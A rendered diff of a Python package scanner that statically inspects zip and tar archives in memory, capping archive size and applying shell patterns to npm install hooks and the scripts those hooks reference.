|
184
|
+
"""
|
|
112
185
|
found: list[Signal] = []
|
|
113
186
|
seen: set[str] = set()
|
|
114
|
-
for kind, detail, pattern in PATTERNS:
|
|
187
|
+
for kind, detail, pattern in (SHELL_PATTERNS if shell else PATTERNS):
|
|
115
188
|
if kind in seen:
|
|
116
189
|
continue
|
|
117
190
|
if pattern.search(text):
|
|
@@ -181,47 +254,87 @@ def _npm_hook_source(text: str) -> str:
|
|
|
181
254
|
)
|
|
182
255
|
|
|
183
256
|
|
|
184
|
-
def
|
|
185
|
-
"""
|
|
186
|
-
signals: list[Signal] = []
|
|
187
|
-
buffer = io.BytesIO(data)
|
|
257
|
+
def _members(data: bytes) -> "dict[str, str]":
|
|
258
|
+
"""Read the archive into a dict of path -> text, in memory only.
|
|
188
259
|
|
|
260
|
+
Nothing is extracted to disk, so a path-traversal entry has nowhere to
|
|
261
|
+
write. Member count and member size are capped so a decompression bomb
|
|
262
|
+
cannot exhaust memory.
|
|
263
|
+
"""
|
|
264
|
+
out: dict[str, str] = {}
|
|
265
|
+
buffer = io.BytesIO(data)
|
|
189
266
|
try:
|
|
190
267
|
if data[:2] == b"PK":
|
|
191
268
|
with zipfile.ZipFile(buffer) as archive:
|
|
192
269
|
for info in archive.infolist()[:MAX_MEMBERS]:
|
|
193
|
-
if info.is_dir()
|
|
270
|
+
if info.is_dir():
|
|
194
271
|
continue
|
|
195
272
|
text = _read_member(archive, info.filename, info.file_size)
|
|
196
|
-
if text is None:
|
|
197
|
-
|
|
198
|
-
if ecosystem == "npm":
|
|
199
|
-
text = _npm_hook_source(text)
|
|
200
|
-
if text.strip():
|
|
201
|
-
signals += scan_text(text, info.filename.rsplit("/", 1)[-1])
|
|
273
|
+
if text is not None:
|
|
274
|
+
out[info.filename] = text
|
|
202
275
|
else:
|
|
203
276
|
with tarfile.open(fileobj=buffer, mode="r:*") as archive:
|
|
204
277
|
for member in archive.getmembers()[:MAX_MEMBERS]:
|
|
205
|
-
if not member.isfile()
|
|
278
|
+
if not member.isfile():
|
|
206
279
|
continue
|
|
207
280
|
text = _read_member(archive, member, member.size)
|
|
208
|
-
if text is None:
|
|
209
|
-
|
|
210
|
-
if ecosystem == "npm":
|
|
211
|
-
text = _npm_hook_source(text)
|
|
212
|
-
if text.strip():
|
|
213
|
-
signals += scan_text(text, member.name.rsplit("/", 1)[-1])
|
|
281
|
+
if text is not None:
|
|
282
|
+
out[member.name] = text
|
|
214
283
|
except (tarfile.TarError, zipfile.BadZipFile, EOFError, OSError) as exc:
|
|
215
284
|
raise InspectionError(f"could not read archive: {exc}") from exc
|
|
285
|
+
return out
|
|
286
|
+
|
|
287
|
+
|
|
288
|
+
def _root_of(path: str) -> str:
|
|
289
|
+
parts = path.strip("/").split("/")
|
|
290
|
+
return parts[0] if parts else ""
|
|
291
|
+
|
|
292
|
+
|
|
293
|
+
def inspect_archive(data: bytes, ecosystem: str) -> list[Signal]:
|
|
294
|
+
"""Statically inspect one package's install-time code.
|
|
295
|
+
|
|
296
|
+
Nothing is executed, imported or compiled -- every file is read as text and
|
|
297
|
+
matched against patterns.
|
|
298
|
+
"""
|
|
299
|
+
members = _members(data)
|
|
300
|
+
signals: list[Signal] = []
|
|
301
|
+
|
|
302
|
+
for path, text in members.items():
|
|
303
|
+
if not _interesting(path, ecosystem):
|
|
304
|
+
continue
|
|
305
|
+
where = path.rsplit("/", 1)[-1]
|
|
306
|
+
|
|
307
|
+
if ecosystem != "npm":
|
|
308
|
+
if text.strip():
|
|
309
|
+
signals += scan_text(text, where)
|
|
310
|
+
continue
|
|
311
|
+
|
|
312
|
+
hooks = _npm_hook_source(text)
|
|
313
|
+
if not hooks.strip():
|
|
314
|
+
continue
|
|
315
|
+
# Hooks are shell commands, so they need the shell patterns.
|
|
316
|
+
signals += scan_text(hooks, where, shell=True)
|
|
317
|
+
|
|
318
|
+
# `"postinstall": "node install.js"` is the commonest shape, and the
|
|
319
|
+
# code that matters is in the file it names. Read that too, with the
|
|
320
|
+
# source patterns, since it is JavaScript rather than a command line.
|
|
321
|
+
root = _root_of(path)
|
|
322
|
+
for referenced in set(REFERENCED_SCRIPT.findall(hooks)):
|
|
323
|
+
target = f"{root}/{referenced.lstrip('./')}"
|
|
324
|
+
script = members.get(target)
|
|
325
|
+
if script and script.strip():
|
|
326
|
+
signals += scan_text(script, referenced)
|
|
216
327
|
|
|
217
328
|
# keep the first signal of each kind, most alarming first
|
|
218
329
|
order = {kind: i for i, (kind, _, _) in enumerate(PATTERNS)}
|
|
330
|
+
order.update(
|
|
331
|
+
{kind: i for i, (kind, _, _) in enumerate(SHELL_PATTERNS) if kind not in order}
|
|
332
|
+
)
|
|
219
333
|
unique: dict[str, Signal] = {}
|
|
220
334
|
for signal in signals:
|
|
221
335
|
unique.setdefault(signal.kind, signal)
|
|
222
336
|
return sorted(unique.values(), key=lambda s: order.get(s.kind, 99))
|
|
223
337
|
|
|
224
|
-
|
|
225
338
|
def inspect_package(archive_url: str, ecosystem: str) -> list[Signal]:
|
|
226
339
|
"""Download and statically inspect one package's install-time code."""
|
|
227
340
|
return inspect_archive(_download(archive_url), ecosystem)
|